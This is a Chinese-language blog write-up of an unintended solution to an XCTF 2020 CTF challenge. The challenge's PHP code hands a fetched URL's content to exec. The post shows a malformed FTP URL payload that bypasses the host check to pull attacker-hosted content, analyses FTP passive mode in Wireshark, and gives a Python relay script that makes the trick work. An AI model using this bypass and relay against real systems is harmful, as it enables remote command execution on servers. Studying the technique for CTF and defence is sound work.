非预期 - 畸形ftp请求

Posted by morouu on 2021-12-27
Estimated Reading Time 15 Minutes
Words 3.6k In Total
Viewed Times

非预期 - 畸形ftp请求


- 前言 -

出自 2020年XCTF高校战疫 中的 Hardme非预期 ,还挺有意思的。


- 正文 -

- 原题 -

看关键的 第二关 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}

直接看第三层bypass:

1
2
3
4
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
#OK
}

直接上payload:

1
url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/filename

虽说这样确实是可以利用 ftp 出外网,但具体的请求方式和普通的 ftp 请求是很不一样的。

- 分析 -

不妨对形如 ftp://xxx.xxx.xxx.xxx[port],127.0.0.1:80/filenameftp 请求做一个分析。先用 python 写一个简单的 ftp 服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import pyftpdlib.authorizers
import pyftpdlib.handlers
import pyftpdlib.servers

# ftp 服务端 IP 以及 端口
connect_ip='172.17.48.108'
connect_port=6600

# 设置上传和下载的最大速度
max_speed_upload=1024 * 1024
max_speed_download=1024 * 1024

# 设置总最大连接数以及每个IP同一时间最大连接数
max_connect = 10
max_count_ip = 2

# 设置被动模式下分配的端口范围
passive_port=(6601,6700)

# 初始化用户组以及两个用户,这两个用户的权限仅为'可读'
user_group=pyftpdlib.authorizers.DummyAuthorizer()
user_group.add_user(username = "DQ",password = "123",homedir = "C:/ftpfiles/",perm = "elr")
user_group.add_anonymous(homedir = "C:/ftpfiles/",perm = "elr")


# 初始化各个数值
dtp_h=pyftpdlib.handlers.ThrottledDTPHandler
ftp_h=pyftpdlib.handlers.FTPHandler

dtp_h.read_limit=max_speed_download
dtp_h.write_limit=max_speed_upload

ftp_h.authorizer=user_group
ftp_h.passive_ports=range(passive_port[0],passive_port[1])
ftp_h.banner="hello,world!"

server = pyftpdlib.servers.FTPServer((connect_ip,connect_port),ftp_h)
server.max_cons=max_connect
server.max_cons_per_ip=max_count_ip

if __name__ == '__main__':
# 启动ftp
print("Start ftp:",(connect_ip,connect_port))
server.serve_forever()

然后使用 wireshark 进行简单的流程跟踪 ftp 被动模式。

  • 首先,这是一个简单的客户端向服务端请求ftp服务,客户端与服务端先进行第一次握手连接,在确认连接后,服务端向客户端发送欢迎信息,同时表示服务已准备就绪(220):

    image-20200310214533608.png

  • 当客户端收到服务就绪信息时(220),客户端会先向服务端发送用户名:

    image-20200310221349620.png

  • 服务端收到信息后会向客户端发回需要密码的信息并等待客户端提供密码(331),(在ftp中匿名登录实际上是用用户名为 ‘anonymous’ 的用户进行登录,和普通用户登录基本没区别;若服务端上没有名为 ‘anonymous’ 的用户,则无法进行匿名登录;若 ‘anonymous’ 用户设置了密码,则在匿名登录的时候也需要输入密码):

    image-20200310221429844.png

  • 客户端收到服务端发来的密码要求后,发送密码,若密码正确则服务端会返回登录成功(230),若不正确则会返回用户认证失败(530);

    image-20200310221532895.png

  • 之后客户端会询问当前ftp系统信息,服务端会回复给客户端(215);

    image-20200310221559997.png

  • 客户端向服务端发送 ‘PWD’ ,服务端会将当前 **‘/ ‘**目录名创建(类似初始化ftp的相对路径)当前(257);

    image-20200310215432241.png

  • 下一步客户端向服务端发送类型值,比如我这里是 I 那就是以二进制模式,发送成功后,服务端会返回命令成功执行(200);

    image-20200310215730862.png

  • 开始解析请求的路径,这里我请求的是 ftp://xxx/way/

    • 客户端先向服务端请求 ‘/way’ 文件的大小,服务端检查,NO,这不是一个文件,告诉客户端命令无法识别(500);

      image-20200310221717543.png

    • 客户端向服务端请求到 ‘/way/‘ 这个目录中,服务端检查,OK,这是一个目录,将当前目录设置成 ‘/way/‘ 并返回请求文件操作成功(250);

      image-20200310221759305.png

  • 客户端向服务端请求PASV(被动模式):

    image-20200310221853324.png

  • 服务端返回开启passive模式(227),返回内容,同时开启一个6626的端口:

    image-20200310222555238.png

  • 然后客户端会开启另一个端口,并用新开起的端口去和服务端提供的新端口进行第二次握手连接:

    image-20200310223354406.png

  • 客户端请求当前目录下的内容:

    image-20200310223629354.png

  • 服务端向客户端返回数据连接已就绪消息(150):

    image-20200310224524970.png

  • 客户端使用第二次握手建立的连接,向服务端发送确认信息,服务端将当前目录下的内容返回给客户端;

    image-20200310224724648.png

  • 当信息成功发送后,第二次握手建立连接在服务端向客户端发送完传输完成(226)中逐步进行挥手操作:

    image-20200310225730635.png

  • 第二次握手建立的连接挥手操作完毕后,客户端向服务端发送确认信息,以及退出信息:

    image-20200310230052240.png

  • 服务端接收到客户端发来的退出信息,回应客户端后(221),第一次握手建立的连接进行挥手操作,此时整个ftp的简单请求到此结束:

    image-20200310230219915.png

  • 接着是简单的ftp关于下载文件的请求过程:

    • 其中,这些步骤和上边的基本都是一样的:

      image-20200310230843452.png

    • 这里就从第二次握手建立的连接后开始,客户端向服务端请求下载 ‘/way/BMV5.txt’ 文件:

      image-20200310230954017.png

    • 服务端告诉客户端,数据传输已准备就绪(150):

      image-20200310231151986.png

    • 服务端在收到来自客户端的确认信息后,开始用第二次握手建立的连接传输:

      image-20200310232626616.png

    • 假若信息过长的话,会进行分段传输,每当服务端传输完一段后,客户端新开的端口会向服务端发送确认收到的信息,然后实际上服务端向客户端返回的传输完成的信息看起来是并行的,红方框的内容是正则传输的内容:(226)

      image-20200310233911883.png

  1. 服务端会在最后一段内容中将挥手信息发回客户端,比如上图的最后一个红框即是;
  2. 后边就是第二次握手建立的连接先挥手,然后第一次握手建立的连接再挥手了,跟最上边的普通过程基本是没区别的了;
  • 以上即是正常的ftp请求,现在我要用payload进行请求了,当然如果只是仅仅普通的payload去获取文件是不可行的,因为这个是畸形的请求:
1
url=ftp://xxx.xxx.xxx.xxx:[port],127.0.0.1:80/evil.txt

image-20200310235530639.png

  • 上边先是的421错误,展开被动模式(第二次握手连接应该没搞好)超时;
  • 使用 wireshark 还原整个 ftp 请求,发现,原来是在进行第二次握手连接的时候,客户端新开的端口并没有连入服务端新开的端口上,而是客户端用新开的端口连上了原来的ftp端口了:

image-20200311000208175.png

  • 第一次握手:客户端向服务端请求一个端口,服务端开放随机端口A并告诉客户端;

  • 第二次握手:客户端用新开端口B,并尝试用端口B连接服务端的端口A,然后使用端口B→端口A这条路子传输;

当传输数据结束后,先断开第二次握手建立的连接,再断开第一次握手建立的连接。使用畸形的URL的结果是在第二次握手时客户端新开的端口B没能连接第一次握手时服务端所给的新开的端口A,而是连接了第一次握手时连接的服务端的原来的端口,于是就卡住了。(简单来说,服务端在等待客户端连接自己新开的端口A,而客户端却在用自己新开的端口B去连接第一次握手服务端的的原来的端口)

- 结论 -

那么至少可以得到一点,这个畸形的 ftp 请求,实际上是能够成功进入外网的,并且第一次握手连接是可以完全能正确的,只需要将客户端新开的端口B和服务端新开的端口A连通就行了,并不需要魔改 ftp (当时做题的时候差点真的把 ftp 给魔改了,真的,就差一点点)。

最简单的方式即是端口转发了,不过由于上述说过 ftp 对文件传输发送的完成信息和文件传输实际上是并行的,也就是说服务端会用第一次握手建立的连接发送传输完成的信息,而实际上第二次握手建立的连接仍然在传输信息,并没有真的完成,这就比较麻烦了。

因为要做端口转发免不了会使用socket,而socket是无法获取到确认信息的,只能够能得到文本内容的数据信息,也就是说转发的内容中是不会有确认信息,由上边的 wireshark 简单的分析发现,一旦服务端成功的发送了传输完成信息(226),第二次握手建立的连接就会挥手(也就是说文件内容传输就会中止),可是服务端发送传输完成信息(226)和第二次握手建立的连接的传输却是并行的,现在又无法转发确认信息,于是就有可能出现传输未完成而整个连接中断的情况;

该如何在保证所有传输完成后再中断是一个比较重要的问题了,不过其实吧,这实际上如果说硬要这么去做的话,可以做一个逆推算;

  • => 等传输真正完成后再停止 =>
  • => 第一次握手建立的连接必须得在传输完成后再向客户端发送完成信息 =>
  • => 将第一次握手建立的连接和第二次握手建立的连接的并行状态改变为串行 =>
  • => 在确认信息完全传输完成前拒绝接收(或者接收了但不转发)信息完成的信息,直到确认真正传输完成后再放行;

这里就直接上转发脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
import socket,threading,re,sys
from time import sleep

# 转发端口,ftp端口

ftp_server = {
'ip':'111.111.111.111',
'port':2333
}
server = {
'ip':'222.222.222.222',
'port':2334
}

# 被动端口
passive_port = 0
# 客户端数据
client_status = [None,None]

Step = 0
Finish = False
socket_1_send = [ "" , False ]
socket_1_return = [ "" , False ]

socket_2_send = [ "" , False ]
socket_2_return = [ b"" , False ]

def func_connect_main():
global s1, client_status,Step,passive_port
while True:
client, host = s1.accept()
# 判断是否为第1次请求
if(client_status[1] == None):
client_status[0], client_status[1] = client, host
print("< 1 > ",host)

# 处理<1>客户端请求
accept_client_1 = threading.Thread(target = func_client_1_accept, kwargs = { 'client': client })
return_client_1 = threading.Thread(target = func_client_1_return, kwargs = { 'client': client })
accept_client_1.setDaemon(daemonic = True)
return_client_1.setDaemon(daemonic = True)
accept_client_1.start( )
return_client_1.start( )
else:

client_2, host_2 = client, host
print("< 2 >",host_2)

# 处理<2>客户端请求
accept_client_2 = threading.Thread(target = func_client_2_accept, kwargs = { 'client': client_2 })
return_client_2 = threading.Thread(target = func_client_2_return, kwargs = { 'client': client_2 })

# 开启线程处理被动端口的交互过程(进入请求文件状态)
print("< 2 >",(ftp_server['ip'],passive_port))
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((ftp_server['ip'], passive_port))

accept_ftp_2 = threading.Thread(target = func_ftp_2_accept, kwargs = { 'socket_': s3 })
send_ftp_2 = threading.Thread(target = func_ftp_2_send, kwargs = { 'socket_': s3})

accept_client_2.setDaemon(daemonic = True)
return_client_2.setDaemon(daemonic = True)
accept_ftp_2.setDaemon(daemonic = True)
send_ftp_2.setDaemon(daemonic = True)

accept_client_2.start( )
return_client_2.start( )
accept_ftp_2.start( )
send_ftp_2.start( )

Step += 1

# <1> 接收户端发来的信息
def func_client_1_accept(client):
global socket_1_send
get_content = ""
while True:
get_content += client.recv(2048).decode('gbk')
if(get_content.endswith("\x0d\x0a")):
socket_1_send = [ get_content ,True]
print("< 1 >",socket_1_send)
get_content = ""

# <1> 将从ftp服务器的信息转发到客户端
def func_client_1_return(client):
global socket_1_return
while True:
if (socket_1_return[ 1 ]):
client.send(socket_1_return[ 0 ].encode('gbk'))
socket_1_return = [ "", False ]

# <1> 将客户端发来的信息转发到ftp服务器
def func_ftp_1_send(socket_):
global socket_1_send
while True:
if (socket_1_send[ 1 ]):
socket_.send(socket_1_send[ 0 ].encode('gbk'))
socket_1_send = [ "", False ]

# <1> 获取从ftp服务器得到的信息
def func_ftp_1_accept(socket_):
global socket_1_return,passive_port,Step,Finish
get_content = ""
while True:
get_content += socket_.recv(2048).decode('gbk')
if(get_content.endswith("\x0d\x0a")):
socket_1_return = [get_content, True]
# 截取ftp开启的被动端口
if (re.match(".*\(\|\|\|(\d.*)\|\)", get_content)):
passive_port = int(re.search("\(\|\|\|(\d.*)\|\)", get_content).group(1))
print("< 1 >", socket_1_return)

if(get_content.split(" ")[0] == '150'):
while (Step < 3):
pass

# 由于ftp一旦向客户端发送Transfer starting时,当客户端再次连接首次访问端口,整个ftp交互就会关闭
# 这里得对文件传输状态进行阻塞
# 状态得到传输完成的信号,则取消阻塞
if ("Transfer complete" in get_content):
Finish = True
get_content = ""

# <2>接收客户端发来的信息(passive)
def func_client_2_accept(client):
global socket_2_send
get_content = ""
while True:
get_content += client.recv(2048).decode('gbk')
if(get_content.endswith("\x0d\x0a")):
socket_2_send = [get_content, True]
print("< 2 >",socket_2_send)
get_content = ""
else:
print(get_content)

# <2>将从ftp服务器接收到的信息转回客户端(passive)
def func_client_2_return(client):
global socket_2_return,Step
while True:
if(socket_2_return[ 1 ]):
client.send(socket_2_return[0])
socket_2_return = [b"",False]
Step += 1

# <2>使用开启的被动端口与ftp服务器进行交互(passive)
def func_ftp_2_send(socket_):
global socket_2_send
while True:
if(socket_2_send[ 1 ]):
socket_.send(socket_2_send[ 0 ].encode('gbk'))
socket_2_send = [ "" ,False]

def func_ftp_2_accept(socket_):
global socket_2_return,Step
get_content = b""
cmp_content = b""
while True:
get_content += socket_.recv(65535)
if(get_content == cmp_content and get_content != b""):
socket_2_return = [get_content,True]
print("< 2 >",socket_2_return)
Step += 1
get_content = b""
cmp_content = b""
continue
cmp_content = get_content


def main():

global s1,s2,s3

# 监听转发端口
s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s1.bind(('0.0.0.0',server['port']))
s1.listen(2)

# 连接ftp服务器
s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s2.connect((ftp_server['ip'],ftp_server['port']))
print("< 1 > ", (ftp_server[ 'ip' ], ftp_server[ 'port' ]))

t_connect_main = threading.Thread(target = func_connect_main)

accept_ftp_1 = threading.Thread(target = func_ftp_1_accept,kwargs = {"socket_":s2})
send_ftp_1 = threading.Thread(target = func_ftp_1_send, kwargs = { "socket_": s2 })

t_connect_main.setDaemon(daemonic = True)
accept_ftp_1.setDaemon(daemonic = True)
send_ftp_1.setDaemon(daemonic = True)

t_connect_main.start()
accept_ftp_1.start()
send_ftp_1.start()

while not Finish:
try:
sleep(1)
except KeyboardInterrupt:
s1.close( )
s2.close( )
exit(0)


for wait in range(3, 0, -1):
sys.stdout.write("\r````` [ " + str(wait) + " ]`````")
sys.stdout.flush( )
sleep(1)

s1.close( )
s2.close( )
exit(0)


if __name__ == '__main__':
main()

- 演示 -

行吧,这里就直接演示:

image-20201229203900092.png

这里发现是可以成功使用畸形的ftp请求获取到文件内容的了。


- 总结 -

老早的题目了,来凑个文章呗,畸形ftp应该是也有不少师傅知道的。


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。也欢迎您共享此博客,以便更多人可以参与。如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。谢谢 !